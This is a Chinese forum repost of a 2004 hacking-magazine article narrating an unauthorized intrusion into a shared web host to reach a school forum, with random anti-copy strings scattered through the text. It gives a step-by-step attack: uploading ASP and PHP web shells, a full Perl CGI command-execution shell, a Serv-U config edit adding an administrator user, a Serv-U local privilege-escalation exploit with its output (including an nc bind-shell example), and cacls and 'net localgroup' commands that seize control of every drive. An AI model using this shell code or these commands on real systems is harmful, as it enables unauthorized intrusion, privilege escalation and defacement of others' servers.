找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1960|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 ! J2 w& W1 H. f+ w/ }
本文作者:angel" I6 ?: {' V" _  r& H6 O
文章性质:原创. X8 C7 C. l1 ^1 Q* d; C* u
发布日期:2004-11-09
9 k2 [, n/ U, g0 O9 T; e  f1 w注意:
9 q; L- M2 N* ?: E/ _本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
& Q7 v! ^9 a3 I- ~本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
% D( C) n" ?5 k( c; g9 h. ?- _2 `- P
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
6 S' \# r+ K1 U9 b  @. s4 v/ h
! V: a5 r. F6 j/ w# A# i% e' U  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
' k3 V% K1 }6 v! H
( w' L4 b$ \1 J  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 5 p& m% \) s4 B) p5 D, H) D) K
: F& x" D) u, b) c* P) F! V
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 & S( N/ a- g5 {/ {
, n- T( l) s! g& L( H: c# V
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ! t* D) `7 |1 b# g& v: C$ |
3 a- d9 E9 s, f) ]& M* X
  没有目的的跳转目录着……
) |9 @+ v, ]) c1 q& q7 b. \+ _, [
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 8 ?" Q* D( v( d% h8 x+ |- C1 Q+ |

+ ]8 H9 ?8 k, E) j  结束了吗?不,我试着 FTP 一下: . J$ d" H/ c* E( |9 O
* n" z" C- A* |& d2 b6 f" \! s
Microsoft Windows 2000 [Version 5.00.2195]) X2 k5 ]0 g9 f/ w" X" Q* V) f
(C) 版权所有 1985-2000 Microsoft Corp.   ?) Q: Z' n0 m: C

& {4 w: K. e% Z+ {C:\Documents and Settings\Administrator>ftp www.school.com" Y, A8 y3 L. @* b+ |
Connected to www. school.com.
8 h  E& i) Q: g% t1 X( o. U$ m220 Welcome to FTP Server... 5 J/ g9 A  s5 T8 m" b1 q! b" L
User (www.bjtrq.com:(none)):
, {1 b1 J! ~6 k. J- J331 User name okay, need password. " f( Z5 X$ {: e0 z1 S' d' H6 R
Password:
$ w+ g, i3 M  d530 Not logged in.
6 I: z2 K/ k7 s' K5 g$ \Login failed. 6 w0 Y0 o! e& F
ftp> bye ) c9 Y6 f$ _$ I3 D$ D4 m9 \
221 Goodbye! 3 N) h& b9 F. T( B, n' Q: C( s

7 R! M2 X+ W, ^5 f
9 l( p& w3 G$ z/ ^1 d  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
1 W6 d8 M! @2 b1 q
& p" C" x6 v( U, |5 v  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
% N' Q/ b7 H2 n  w5 W9 b3 ^
0 s) q* O0 K; b* f/ CApplication Data
; z# z( `& C! }& Y$ l0 vDocuments3 M6 L, P* a( X* @. A% h) t
DRM
0 P4 E: |8 m. g/ A. S: }, N! gFavorites) Q2 ^2 l: P% n6 q( D1 o
Templates# z% s/ e2 N7 u+ m: z$ o$ Y: \
「开始」菜单; F  L( v% D6 A& z
桌面# c/ {' M, A; ?- I$ A

2 `+ Z9 ^1 V6 ~
6 p: x4 H3 G& M  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
( _$ e7 d& Y7 y) b% h3 q" n! d1 k8 h) @0 K$ G$ W+ g9 O- @2 l
ActiveState ActivePerl 5.86 T7 j3 s0 ^% u7 q0 `5 l8 X7 l
Administrative Tools
" O9 q( F" G; ]1 N3 t: VDeerfield.com
$ ~4 G9 M) ]" CDTemp! W% y3 v0 q4 P5 N
IPSentry! p' q8 j2 D  l& X# I( \+ j
MBM 5. G1 ^4 J. G: i9 k( i" m: V& ]
NetMeter' R; F! R* I6 ~* p; L3 f
Network ICE
, E" d7 q. p' d' t' P" NPersits Software AspEmail
. \1 J5 E) X% Q) UPersits Software AspJpeg
7 p9 r9 y+ t3 \& jServ-U FTP Server
. {5 j9 L( Y5 k- y$ Y% R9 C3 B" VSymantec Client Security: l6 l% N! O/ p' K: T
Windows 优化大师
# o' j  ~. w( y9 m$ c' d; BWinRAR
' x6 O$ I* ~  ~% b启动
5 F* K4 [$ h6 D. J管理工具
8 H3 w0 Y1 w/ H6 x附件
4 o6 J1 n5 b# P$ y* k & D# b. X" e% C9 S- q

3 p3 @2 ^) G% f6 X$ u' D4 `0 d" B  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 , Y8 R  R9 R1 m0 z0 B! C1 K  [

1 V+ j' t% J7 Y% P5 V# P+ I  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: $ [# q  l/ T5 J. l
( w& s( D! G! D( w$ }
User281=angel|1|0 , K# U+ G  E% d- e6 K  `2 E

  e7 x* s2 y7 C, L! H8 V1 y6 f% b% N+ M5 u
  然后加上 - j8 y) F( O3 K- ^/ u1 M" j' I
$ A+ K9 V0 Z. U* j2 F, F9 o! d: U
[USER=angel|1]- m  g; d7 \, o0 f
Password=ng98F85379EA68DBF97BAADCA99B69B805
6 m" O# w4 x% T! m: N' H- y5 kHomeDir=D:\websites
2 p( W3 V# O5 [; Y2 pRelPaths=1$ i3 G. Q7 Z" U
TimeOut=600
& n( W2 x6 Q. m1 A1 P5 g9 gMaintenance=System0 N( }3 n1 ~8 X- K; O( t
Access1=D:\websites|RWAMELCDP3 Y  U. y+ z& |/ G- i
SKEYValues=  A" l: h: S- t$ o
, [) n$ Z6 B$ H8 ?& v
5 I3 c( m4 ^0 S2 w
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
) Y1 }  }' I$ I! O5 v6 D- f. w: B1 {* }( Y1 n, X( R
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
" }4 j5 L; [4 m5 c2 o! c5 O3 R6 r6 B* _
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
& F$ G  S$ t0 X; z  d* C2 M; ^& H; G& U3 `# Z
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 6 r' V' y. ~9 `

( z# O" P8 ]- E' h; K5 [8 @#!/usr/bin/perl
& s6 W. F, n( K0 G8 [binmode(STDOUT);' T5 ~8 y. i- ^8 J
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
* d6 `8 k( Y( `  V3 Z$_ = $ENV{QUERY_STRING};
2 c4 a, B8 _6 g6 V( T. is/%20/ /ig;
- c. r5 S$ n& D0 w9 m% z" es/%2f/\//ig;) L( n8 I" Q9 t
$execthis = $_;# C3 l* z7 P1 h  t. G6 e! j- ~
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
, {5 ]  w" k7 {; o$ q" R* fopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
' I4 S9 `5 b( L: a4 @7 xsystem($execthis);
$ l0 m% ~0 f( d8 t1 n/ `/ Y# Lsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
  G( g$ Z& J- {close(STDERR);
; F  Z: y* A' b1 Uclose(STDOUT);
* I6 o5 z7 `# P1 T& J: m& fexit;1 j% K7 o% _3 H5 w8 z* F8 I# r3 y

! d% v; q( s' Z" W; `  p; Y# t. S8 b' k2 W  K0 B6 [" o9 i$ O
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! , }: F" z% n- R8 a+ G, Y) N

* z( d0 _2 c' {2 h6 g) Z0 b6 G  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
9 \6 T* ~- ^( C) e
- x% z0 m; j, z& ?http://anyhost//cmd.pl?d:\user\bin\su.exe
) t  q0 P: e7 R) B6 u8 X) d5 o% } . S7 S9 t: t: B* x) e0 R
; @" T0 c- i# r& Q4 B
  返回: . ~7 ~0 E1 ?- o, \  C
8 w& Z$ z) E' p9 L
Serv-u >3.x Local Exploit by xiaolu - ^+ w' d1 A% l
9 y4 J4 x2 v5 P( J+ z& b7 c
USAGE: serv-u.exe "command" 4 r" a5 v4 C; U% M

: h+ D4 E. k4 ~  M0 i" b' iExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 6 Q: j) M! n* `+ |" ]% L! V1 [; G
& b9 d- N7 G! d& [# l1 ^
, }/ p( I  L& J' Z! t
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
) y7 P7 \2 X: F; [7 L2 l+ g* Z
) k; e& r% o& b: d$ h  B  Dhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 4 z' N: j, W2 L. _
6 x/ k: a* y  N6 _8 i
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ) ?% E+ o/ d+ S! o
8 }' ]. ~  o3 G, E8 h' F
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
: M( o) M" V4 v) a
) Z) K# a2 _: g9 S3 B* Vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
0 d2 m# p$ n6 }& {; K % e- L! ~3 k8 }+ o/ L$ d
, `' F8 T1 l% t8 L" I- `
  返回下面的信息,就表示成功了!!! & [5 V, y- D6 A# U' X" c  Q" e

. V7 E' m* P0 J: j8 g5 EServ-u >3.x Local Exploit by xiaolu 6 T8 b! S; `. O5 T5 ]2 Q3 _
7 @# a) b6 e. E
<220 Serv-U FTP Server v5.2 for WinSock ready... 0 E8 H$ ]/ k9 }2 X" V" C
% E  O8 `; ]$ H: d
>USER LocalAdministrator
! q' ]8 k  r1 Y! h/ a' k7 Q$ j7 M2 V
<331 User name okay, need password. ' g" h  X5 O9 s6 T: P

- b" u* [& Y% G: T2 U+ ?******************************************************
' H0 ^9 T! u5 `) z/ U! d& q: [% ]
>PASS #l@$ak#.lk;0@P 4 F2 G  M, K( P' s# ?* e/ I
' q4 Z+ q' K) v
<230 User logged in, proceed.
6 E  Z: s4 ]8 ^: e; n
& C; I: H* G& Q****************************************************** 6 v( K- l5 d: G# Q1 U7 N* l

( I, b; N/ k3 b* l>SITE MAINTENANCE % f9 W$ g) C/ `) K6 Z! ?
4 v( B+ |: L8 J$ j! ?
****************************************************** % f1 S0 S% t' O0 [7 `+ y

& S& z2 g. o8 R  k. [9 R  T7 w/ `[+] Creating New Domain... ) @" a! n" Y" P7 e
3 a/ s1 @/ I! j, W
<200-DomainID=2   e: j' b: \: G; M$ q

% g$ Z' Z! B' F' i<220 Domain settings saved
; s" o- B- W; F+ G/ ]7 T3 v5 z; Z* @. H
****************************************************** - L, e& \4 P% k; }9 }+ Q
$ B, Q6 [5 M' L" U
[+] Domain xl:2 Created : d2 ^7 i' n( r

5 D1 _6 y: E  c3 M/ \. n( y! o[+] Creating Evil User ' X. i. M; C- c
# m* c/ O* f: J9 ]# F' f
<200-User=xl
% o, g/ Y9 `* S3 e
6 G5 G& m* Z! y# x9 V200 User settings saved 5 O$ `$ Z# M3 o# q$ z- i
7 |7 ?8 C5 J. c( r
******************************************************
0 ]; ~# s2 ^/ |& Y" D/ X, ~, x6 _. A
[+] Now Exploiting...   q. A" B% w7 R4 y: G& b
$ z" n9 `- t. L; o+ z* e! I
>USER xl 4 x$ j, N# N; J5 m( q
! F( Z" D4 C7 J) f# ]  n3 O+ `7 p
<331 User name okay, need password.
6 c, x$ C% c- J0 Q; N" h$ B
! u) `& D& y; d- ^; E% l+ T% v******************************************************
" B" R1 h6 K6 p9 k
2 P9 `4 X. Q/ H1 ~9 W" c* f>PASS 111111
" D" N- Q7 P! S) t, n) ]2 ]$ K8 W" r2 e8 {4 g. V4 w
<230 User logged in, proceed.
! Y% T! P* t7 J0 ^" H; ^3 R! Z; A. c8 x: t8 n' {" U
****************************************************** 0 I8 \- F. {. j3 w- M8 A
4 C1 C. E2 {- }9 c/ n1 \
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
8 x6 P* u5 ?# O' R
1 g7 n) j. K; W1 f$ U<220 Domain deleted
' S- Y4 D( {2 C2 c1 X+ Z5 j5 V
1 Y! P$ K" P2 d. T******************************************************
3 |0 B, z: g4 ]+ l 6 p) j1 _: Z* n7 T0 ^% e6 w
/ Y! t9 h& m: V4 Z' l3 k
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
2 @1 l% I4 \" A3 ^+ S+ w3 F) {$ E. a6 Q) K0 P
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
9 N2 k6 o" L/ x5 P+ l
3 X. K( q4 `/ T& f9 B
5 P. \3 l1 N  c- s+ X, s/ ~) H  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 / k, T  f; w' O3 |% N

% @" a4 j* ^3 K9 Z8 e: a  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。0 y: m, o$ e  Z5 _9 d; C

/ a& z# r0 s& v  O, w  
& V( W# f- u$ D& q8 V. Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表